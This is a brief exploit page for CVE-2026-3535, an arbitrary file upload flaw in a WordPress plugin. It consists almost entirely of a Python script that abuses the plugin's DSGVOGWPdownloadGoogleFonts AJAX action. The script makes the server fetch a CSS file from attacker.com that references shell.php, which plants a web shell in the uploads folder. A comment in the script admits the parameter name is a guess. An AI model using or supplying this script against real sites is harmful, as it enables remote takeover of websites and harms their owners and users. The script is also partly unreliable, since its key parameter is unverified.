CVE-2026-3535 WordPress插件任意文件上传漏洞

import requests # Configuration target_url = "http://example.com" attacker_css_url = "http://attacker.com/exploit.css" # The exploit chain: # 1. Attacker hosts a CSS file containing: @font-face { src: url('http://attacker.com/shell.php'); } # 2. Send a request to the vulnerable endpoint to force the server to fetch and save the shell. endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload based on the vulnerable function DSGVOGWPdownloadGoogleFonts # Note: The parameter name might vary, 'cssUrl' is used as a logical guess based on the description. payload = { "action": "DSGVOGWPdownloadGoogleFonts", "cssUrl": attacker_css_url } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Check your shell at: {target_url}/wp-content/uploads/dsgvo-fonts/shell.php") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")